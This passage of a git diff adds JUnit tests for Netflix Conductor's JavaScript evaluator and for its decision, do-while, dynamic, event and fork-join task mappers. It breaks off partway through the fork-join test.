    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import static org.junit.Assert.*; + +public class JavascriptEvaluatorTest { + + private final JavascriptEvaluator evaluator = new JavascriptEvaluator(); + + @Test + public void testBasicEvaluation() { + Map input = new HashMap<>(); + input.put("value", 42); + + String expression = "$.value * 2"; + Object result = evaluator.evaluate(expression, input); + + assertEquals(84, ((Number) result).intValue()); + } + + @Test + public void testDeepCopyProtection() { + // This test verifies the deep copy protection feature from Enterprise + Map input = new HashMap<>(); + Map nested = new HashMap<>(); + nested.put("original", "value"); + input.put("data", nested); + + // Script that modifies the input + String expression = + """ + (function() { + $.data.newKey = 'new value'; + return $.data.newKey; + })() + """; + + Object result = evaluator.evaluate(expression, input); + assertEquals("new value", result); + + // Verify original input was NOT modified (deep copy protection) + assertFalse( + "Original input should not be modified due to deep copy", + nested.containsKey("newKey")); + assertEquals("value", nested.get("original")); + } + + @Test + public void testNestedObjectAccess() { + Map input = new HashMap<>(); + Map level1 = new HashMap<>(); + Map level2 = new HashMap<>(); + level2.put("value", "deep"); + level1.put("level2", level2); + input.put("level1", level1); + + String expression = "$.level1.level2.value"; + Object result = evaluator.evaluate(expression, input); + + assertEquals("deep", result); + } + + @Test + public void testComplexExpression() { + Map input = new HashMap<>(); + input.put("a", 10); + input.put("b", 20); + input.put("c", 30); + + String expression = "($.a + $.b) * $.c"; + Object result = evaluator.evaluate(expression, input); + + assertEquals(900, ((Number) result).intValue()); + } + + @Test + public void testES6Features() { + Map input = new HashMap<>(); + input.put("name", "Conductor"); + + String expression = + """ + (function() { + const greeting = 'Hello'; + return `${greeting}, ${$.name}!`; + })() + """; + + Object result = evaluator.evaluate(expression, input); + assertEquals("Hello, Conductor!", result); + } + + @Test + public void testArrayOperations() { + Map input = new HashMap<>(); + input.put("numbers", new int[] {1, 2, 3, 4, 5}); + + String expression = "$.numbers.filter(n => n > 2).map(n => n * 2)"; + Object result = evaluator.evaluate(expression, input); + + assertTrue(result instanceof java.util.List); + java.util.List resultList = (java.util.List) result; + assertEquals(3, resultList.size()); + assertEquals(6, ((Number) resultList.get(0)).intValue()); + assertEquals(8, ((Number) resultList.get(1)).intValue()); + assertEquals(10, ((Number) resultList.get(2)).intValue()); + } + + @Test + public void testObjectReturn() { + Map input = new HashMap<>(); + input.put("value", 42); + + String expression = + """ + (function() { + return { + result: $.value, + doubled: $.value * 2, + message: 'success' + }; + })() + """; + + Object result = evaluator.evaluate(expression, input); + assertTrue(result instanceof Map); + + @SuppressWarnings("unchecked") + Map resultMap = (Map) result; + assertEquals(42, ((Number) resultMap.get("result")).intValue()); + assertEquals(84, ((Number) resultMap.get("doubled")).intValue()); + assertEquals("success", resultMap.get("message")); + } + + @Test + public void testNullSafety() { + Map input = new HashMap<>(); + input.put("value", null); + + String expression = "$.value === null ? 'null value' : $.value"; + Object result = evaluator.evaluate(expression, input); + + assertEquals("null value", result); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapperTest.java new file mode 100644 index 0000000..36c1151 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapperTest.java @@ -0,0 +1,289 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class DecisionTaskMapperTest { + + private IDGenerator idGenerator; + private ParametersUtils parametersUtils; + private DeciderService deciderService; + // Subject + private DecisionTaskMapper decisionTaskMapper; + + @Autowired private ObjectMapper objectMapper; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + Map ip1; + WorkflowTask task1; + WorkflowTask task2; + WorkflowTask task3; + + @Before + public void setUp() { + parametersUtils = new ParametersUtils(objectMapper); + idGenerator = new IDGenerator(); + + ip1 = new HashMap<>(); + ip1.put("p1", "${workflow.input.param1}"); + ip1.put("p2", "${workflow.input.param2}"); + ip1.put("case", "${workflow.input.case}"); + + task1 = new WorkflowTask(); + task1.setName("Test1"); + task1.setInputParameters(ip1); + task1.setTaskReferenceName("t1"); + + task2 = new WorkflowTask(); + task2.setName("Test2"); + task2.setInputParameters(ip1); + task2.setTaskReferenceName("t2"); + + task3 = new WorkflowTask(); + task3.setName("Test3"); + task3.setInputParameters(ip1); + task3.setTaskReferenceName("t3"); + deciderService = mock(DeciderService.class); + decisionTaskMapper = new DecisionTaskMapper(); + } + + @Test + public void getMappedTasks() { + + // Given + // Task Definition + TaskDef taskDef = new TaskDef(); + Map inputMap = new HashMap<>(); + inputMap.put("Id", "${workflow.input.Id}"); + List> taskDefinitionInput = new LinkedList<>(); + taskDefinitionInput.add(inputMap); + + // Decision task instance + WorkflowTask decisionTask = new WorkflowTask(); + decisionTask.setType(TaskType.DECISION.name()); + decisionTask.setName("Decision"); + decisionTask.setTaskReferenceName("decisionTask"); + decisionTask.setDefaultCase(Collections.singletonList(task1)); + decisionTask.setCaseValueParam("case"); + decisionTask.getInputParameters().put("Id", "${workflow.input.Id}"); + decisionTask.setCaseExpression( + "if ($.Id == null) 'bad input'; else if ( ($.Id != null && $.Id % 2 == 0)) 'even'; else 'odd'; "); + Map> decisionCases = new HashMap<>(); + decisionCases.put("even", Collections.singletonList(task2)); + decisionCases.put("odd", Collections.singletonList(task3)); + decisionTask.setDecisionCases(decisionCases); + // Workflow instance + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(workflowDef); + Map workflowInput = new HashMap<>(); + workflowInput.put("Id", "22"); + workflowModel.setInput(workflowInput); + + Map body = new HashMap<>(); + body.put("input", taskDefinitionInput); + taskDef.getInputTemplate().putAll(body); + + Map input = + parametersUtils.getTaskInput( + decisionTask.getInputParameters(), workflowModel, null, null); + + TaskModel theTask = new TaskModel(); + theTask.setReferenceTaskName("Foo"); + theTask.setTaskId(idGenerator.generate()); + + when(deciderService.getTasksToBeScheduled(workflowModel, task2, 0, null)) + .thenReturn(Collections.singletonList(theTask)); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflowModel) + .withWorkflowTask(decisionTask) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId(idGenerator.generate()) + .withDeciderService(deciderService) + .build(); + + // When + List mappedTasks = decisionTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(2, mappedTasks.size()); + assertEquals("decisionTask", mappedTasks.get(0).getReferenceTaskName()); + assertEquals("Foo", mappedTasks.get(1).getReferenceTaskName()); + } + + @Test + public void getEvaluatedCaseValue() { + WorkflowTask decisionTask = new WorkflowTask(); + decisionTask.setType(TaskType.DECISION.name()); + decisionTask.setName("Decision"); + decisionTask.setTaskReferenceName("decisionTask"); + decisionTask.setInputParameters(ip1); + decisionTask.setDefaultCase(Collections.singletonList(task1)); + decisionTask.setCaseValueParam("case"); + Map> decisionCases = new HashMap<>(); + decisionCases.put("0", Collections.singletonList(task2)); + decisionCases.put("1", Collections.singletonList(task3)); + decisionTask.setDecisionCases(decisionCases); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(new WorkflowDef()); + Map workflowInput = new HashMap<>(); + workflowInput.put("param1", "test1"); + workflowInput.put("param2", "test2"); + workflowInput.put("case", "0"); + workflowModel.setInput(workflowInput); + + Map input = + parametersUtils.getTaskInput( + decisionTask.getInputParameters(), workflowModel, null, null); + + assertEquals("0", decisionTaskMapper.getEvaluatedCaseValue(decisionTask, input)); + } + + @Test + public void getEvaluatedCaseValueUsingExpression() { + // Given + // Task Definition + TaskDef taskDef = new TaskDef(); + Map inputMap = new HashMap<>(); + inputMap.put("Id", "${workflow.input.Id}"); + List> taskDefinitionInput = new LinkedList<>(); + taskDefinitionInput.add(inputMap); + + // Decision task instance + WorkflowTask decisionTask = new WorkflowTask(); + decisionTask.setType(TaskType.DECISION.name()); + decisionTask.setName("Decision"); + decisionTask.setTaskReferenceName("decisionTask"); + decisionTask.setDefaultCase(Collections.singletonList(task1)); + decisionTask.setCaseValueParam("case"); + decisionTask.getInputParameters().put("Id", "${workflow.input.Id}"); + decisionTask.setCaseExpression( + "if ($.Id == null) 'bad input'; else if ( ($.Id != null && $.Id % 2 == 0)) 'even'; else 'odd'; "); + Map> decisionCases = new HashMap<>(); + decisionCases.put("even", Collections.singletonList(task2)); + decisionCases.put("odd", Collections.singletonList(task3)); + decisionTask.setDecisionCases(decisionCases); + + // Workflow instance + WorkflowDef def = new WorkflowDef(); + def.setSchemaVersion(2); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + Map workflowInput = new HashMap<>(); + workflowInput.put("Id", "22"); + workflowModel.setInput(workflowInput); + + Map body = new HashMap<>(); + body.put("input", taskDefinitionInput); + taskDef.getInputTemplate().putAll(body); + + Map evaluatorInput = + parametersUtils.getTaskInput( + decisionTask.getInputParameters(), workflowModel, taskDef, null); + + assertEquals( + "even", decisionTaskMapper.getEvaluatedCaseValue(decisionTask, evaluatorInput)); + } + + @Test + public void getEvaluatedCaseValueException() { + // Given + // Task Definition + TaskDef taskDef = new TaskDef(); + Map inputMap = new HashMap<>(); + inputMap.put("Id", "${workflow.input.Id}"); + List> taskDefinitionInput = new LinkedList<>(); + taskDefinitionInput.add(inputMap); + + // Decision task instance + WorkflowTask decisionTask = new WorkflowTask(); + decisionTask.setType(TaskType.DECISION.name()); + decisionTask.setName("Decision"); + decisionTask.setTaskReferenceName("decisionTask"); + decisionTask.setDefaultCase(Collections.singletonList(task1)); + decisionTask.setCaseValueParam("case"); + decisionTask.getInputParameters().put("Id", "${workflow.input.Id}"); + decisionTask.setCaseExpression( + "if ($Id == null) 'bad input'; else if ( ($Id != null && $Id % 2 == 0)) 'even'; else 'odd'; "); + Map> decisionCases = new HashMap<>(); + decisionCases.put("even", Collections.singletonList(task2)); + decisionCases.put("odd", Collections.singletonList(task3)); + decisionTask.setDecisionCases(decisionCases); + + // Workflow instance + WorkflowDef def = new WorkflowDef(); + def.setSchemaVersion(2); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + Map workflowInput = new HashMap<>(); + workflowInput.put(".Id", "22"); + workflowModel.setInput(workflowInput); + + Map body = new HashMap<>(); + body.put("input", taskDefinitionInput); + taskDef.getInputTemplate().putAll(body); + + Map evaluatorInput = + parametersUtils.getTaskInput( + decisionTask.getInputParameters(), workflowModel, taskDef, null); + + expectedException.expect(TerminateWorkflowException.class); + expectedException.expectMessage( + "Error while evaluating script: " + decisionTask.getCaseExpression()); + + decisionTaskMapper.getEvaluatedCaseValue(decisionTask, evaluatorInput); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapperTest.java new file mode 100644 index 0000000..1855693 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapperTest.java @@ -0,0 +1,131 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mockito; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_DO_WHILE; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +public class DoWhileTaskMapperTest { + + private TaskModel task1; + private DeciderService deciderService; + private WorkflowModel workflow; + private WorkflowTask workflowTask1; + private TaskMapperContext taskMapperContext; + private MetadataDAO metadataDAO; + private ParametersUtils parametersUtils; + + @Before + public void setup() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.DO_WHILE.name()); + workflowTask.setTaskReferenceName("Test"); + workflowTask.setInputParameters(Map.of("value", "${workflow.input.foo}")); + task1 = new TaskModel(); + task1.setReferenceTaskName("task1"); + TaskModel task2 = new TaskModel(); + task2.setReferenceTaskName("task2"); + workflowTask1 = new WorkflowTask(); + workflowTask1.setTaskReferenceName("task1"); + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setTaskReferenceName("task2"); + task1.setWorkflowTask(workflowTask1); + task2.setWorkflowTask(workflowTask2); + workflowTask.setLoopOver(Arrays.asList(task1.getWorkflowTask(), task2.getWorkflowTask())); + workflowTask.setLoopCondition( + "if ($.second_task + $.first_task > 10) { false; } else { true; }"); + + String taskId = new IDGenerator().generate(); + + WorkflowDef workflowDef = new WorkflowDef(); + workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setInput(Map.of("foo", "bar")); + + deciderService = Mockito.mock(DeciderService.class); + metadataDAO = Mockito.mock(MetadataDAO.class); + + taskMapperContext = + TaskMapperContext.newBuilder() + .withDeciderService(deciderService) + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + parametersUtils = new ParametersUtils(new ObjectMapper()); + } + + @Test + public void getMappedTasks() { + + Mockito.doReturn(Collections.singletonList(task1)) + .when(deciderService) + .getTasksToBeScheduled(workflow, workflowTask1, 0); + + List mappedTasks = + new DoWhileTaskMapper(metadataDAO, parametersUtils) + .getMappedTasks(taskMapperContext); + + assertNotNull(mappedTasks); + assertEquals(mappedTasks.size(), 1); + assertEquals(TASK_TYPE_DO_WHILE, mappedTasks.get(0).getTaskType()); + assertNotNull(mappedTasks.get(0).getInputData()); + assertEquals(Map.of("value", "bar"), mappedTasks.get(0).getInputData()); + } + + @Test + public void shouldNotScheduleCompletedTask() { + + task1.setStatus(TaskModel.Status.COMPLETED); + + List mappedTasks = + new DoWhileTaskMapper(metadataDAO, parametersUtils) + .getMappedTasks(taskMapperContext); + + assertNotNull(mappedTasks); + assertEquals(mappedTasks.size(), 1); + } + + @Test + public void testAppendIteration() { + assertEquals("task__1", TaskUtils.appendIteration("task", 1)); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapperTest.java new file mode 100644 index 0000000..936d262 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapperTest.java @@ -0,0 +1,155 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class DynamicTaskMapperTest { + + @Rule public ExpectedException expectedException = ExpectedException.none(); + private ParametersUtils parametersUtils; + private MetadataDAO metadataDAO; + private DynamicTaskMapper dynamicTaskMapper; + + @Before + public void setUp() { + parametersUtils = mock(ParametersUtils.class); + metadataDAO = mock(MetadataDAO.class); + + dynamicTaskMapper = new DynamicTaskMapper(parametersUtils, metadataDAO); + } + + @Test + public void getMappedTasks() { + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("DynoTask"); + workflowTask.setDynamicTaskNameParam("dynamicTaskName"); + TaskDef taskDef = new TaskDef(); + taskDef.setName("DynoTask"); + workflowTask.setTaskDefinition(taskDef); + + Map taskInput = new HashMap<>(); + taskInput.put("dynamicTaskName", "DynoTask"); + + when(parametersUtils.getTaskInput( + anyMap(), any(WorkflowModel.class), any(TaskDef.class), anyString())) + .thenReturn(taskInput); + + String taskId = new IDGenerator().generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(workflowTask.getTaskDefinition()) + .withWorkflowTask(workflowTask) + .withTaskInput(taskInput) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + when(metadataDAO.getTaskDef("DynoTask")).thenReturn(new TaskDef()); + + List mappedTasks = dynamicTaskMapper.getMappedTasks(taskMapperContext); + + assertEquals(1, mappedTasks.size()); + + TaskModel dynamicTask = mappedTasks.get(0); + assertEquals(taskId, dynamicTask.getTaskId()); + } + + @Test + public void getDynamicTaskName() { + Map taskInput = new HashMap<>(); + taskInput.put("dynamicTaskName", "DynoTask"); + + String dynamicTaskName = dynamicTaskMapper.getDynamicTaskName(taskInput, "dynamicTaskName"); + + assertEquals("DynoTask", dynamicTaskName); + } + + @Test + public void getDynamicTaskNameNotAvailable() { + Map taskInput = new HashMap<>(); + + expectedException.expect(TerminateWorkflowException.class); + expectedException.expectMessage( + String.format( + "Cannot map a dynamic task based on the parameter and input. " + + "Parameter= %s, input= %s", + "dynamicTaskName", taskInput)); + + dynamicTaskMapper.getDynamicTaskName(taskInput, "dynamicTaskName"); + } + + @Test + public void getDynamicTaskDefinition() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("Foo"); + TaskDef taskDef = new TaskDef(); + taskDef.setName("Foo"); + workflowTask.setTaskDefinition(taskDef); + + when(metadataDAO.getTaskDef(any())).thenReturn(new TaskDef()); + + // when + TaskDef dynamicTaskDefinition = dynamicTaskMapper.getDynamicTaskDefinition(workflowTask); + + assertEquals(dynamicTaskDefinition, taskDef); + } + + @Test + public void getDynamicTaskDefinitionNull() { + + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("Foo"); + + expectedException.expect(TerminateWorkflowException.class); + expectedException.expectMessage( + String.format( + "Invalid task specified. Cannot find task by name %s in the task definitions", + workflowTask.getName())); + + dynamicTaskMapper.getDynamicTaskDefinition(workflowTask); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/EventTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/EventTaskMapperTest.java new file mode 100644 index 0000000..0a7db93 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/EventTaskMapperTest.java @@ -0,0 +1,73 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.Test; +import org.mockito.Mockito; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.when; + +public class EventTaskMapperTest { + + @Test + public void getMappedTasks() { + ParametersUtils parametersUtils = Mockito.mock(ParametersUtils.class); + EventTaskMapper eventTaskMapper = new EventTaskMapper(parametersUtils); + + WorkflowTask taskToBeScheduled = new WorkflowTask(); + taskToBeScheduled.setSink("SQSSINK"); + String taskId = new IDGenerator().generate(); + + Map eventTaskInput = new HashMap<>(); + eventTaskInput.put("sink", "SQSSINK"); + + when(parametersUtils.getTaskInput( + anyMap(), any(WorkflowModel.class), any(TaskDef.class), anyString())) + .thenReturn(eventTaskInput); + + WorkflowDef workflowDef = new WorkflowDef(); + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(taskToBeScheduled) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = eventTaskMapper.getMappedTasks(taskMapperContext); + assertEquals(1, mappedTasks.size()); + + TaskModel eventTask = mappedTasks.get(0); + assertEquals(taskId, eventTask.getTaskId()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapperTest.java b/core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapperTest.java new file mode 100644 index 0000000..5106c7c --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapperTest.java @@ -0,0 +1,845 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.*; + +import org.apache.commons.lang3.tuple.Pair; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.mockito.Mockito; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.DynamicForkJoinTaskList; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.DeciderService; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.when; + +@SuppressWarnings("unchecked") +public class ForkJoinDynamicTaskMapperTest { + + private IDGenerator idGenerator; + private ParametersUtils parametersUtils; + private ObjectMapper objectMapper; + private DeciderService deciderService; + private ForkJoinDynamicTaskMapper forkJoinDynamicTaskMapper; + private SystemTaskRegistry systemTaskRegistry; + private MetadataDAO metadataDAO; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setUp() { + metadataDAO = Mockito.mock(MetadataDAO.class); + idGenerator = new IDGenerator(); + parametersUtils = Mockito.mock(ParametersUtils.class); + objectMapper = Mockito.mock(ObjectMapper.class); + deciderService = Mockito.mock(DeciderService.class); + systemTaskRegistry = Mockito.mock(SystemTaskRegistry.class); + + forkJoinDynamicTaskMapper = + new ForkJoinDynamicTaskMapper( + idGenerator, + parametersUtils, + objectMapper, + metadataDAO, + systemTaskRegistry); + } + + @Test + public void getMappedTasksException() { + + WorkflowDef def = new WorkflowDef(); + def.setName("DYNAMIC_FORK_JOIN_WF"); + def.setDescription(def.getName()); + def.setVersion(1); + def.setInputParameters(Arrays.asList("param1", "param2")); + + WorkflowModel workflowModel = new WorkflowModel(); + workflowModel.setWorkflowDefinition(def); + + WorkflowTask dynamicForkJoinToSchedule = new WorkflowTask(); + dynamicForkJoinToSchedule.setType(TaskType.FORK_JOIN_DYNAMIC.name()); + dynamicForkJoinToSchedule.setTaskReferenceName("dynamicfanouttask"); + dynamicForkJoinToSchedule.setDynamicForkTasksParam("dynamicTasks"); + dynamicForkJoinToSchedule.setDynamicForkTasksInputParamName("dynamicTasksInput"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasks", "dt1.output.dynamicTasks"); + dynamicForkJoinToSchedule + .getInputParameters() + .put("dynamicTasksInput", "dt1.output.dynamicTasksInput"); + + WorkflowTask join = new WorkflowTask(); + join.setType(TaskType.JOIN.name()); + join.setTaskReferenceName("dynamictask_join"); + + def.getTasks().add(dynamicForkJoinToSchedule); + + Map input1 = new HashMap<>(); + input1.put("k1", "v1"); + WorkflowTask wt2 = new WorkflowTask(); + wt2.setName("junit_task_2"); + wt2.setTaskReferenceName("xdt1"); + + Map input2 = new HashMap<>(); + input2.put("k2", "v2"); + + WorkflowTask wt3 = new WorkflowTask(); + wt3.setName("junit_task_3"); + wt3.setTaskReferenceName("xdt2"); + + HashMap dynamicTasksInput = new HashMap<>(); + dynamicTasksInput.put("xdt1", input1); + dynamicTasksInput.put("xdt2", input2); + dynamicTasksInput.put("dynamicTasks", Arrays.asList(wt2, wt3)); + dynamicTasksInput.put("dynamicTasksInput", dynamicTasksInput); + + // when + when(parametersUtils.getTaskInput(anyMap(), any(WorkflowModel.class), any(), any())) + .thenReturn(dynamicTasksInput); + + when(objectMapper.convertValue(any(), any(TypeReference.class))) + .thenReturn(Arrays.asList(wt2, wt3)); + + TaskModel simpleTask1 = new TaskModel(); + simpleTask1.setReferenceTaskName("xdt1"); + + TaskModel simpleTask2 = new TaskModel(); + simpleTask2.setReferenceTaskName("xdt2"); + + when(deciderService.getTasksToBeScheduled(workflowModel, wt2, 0)) + 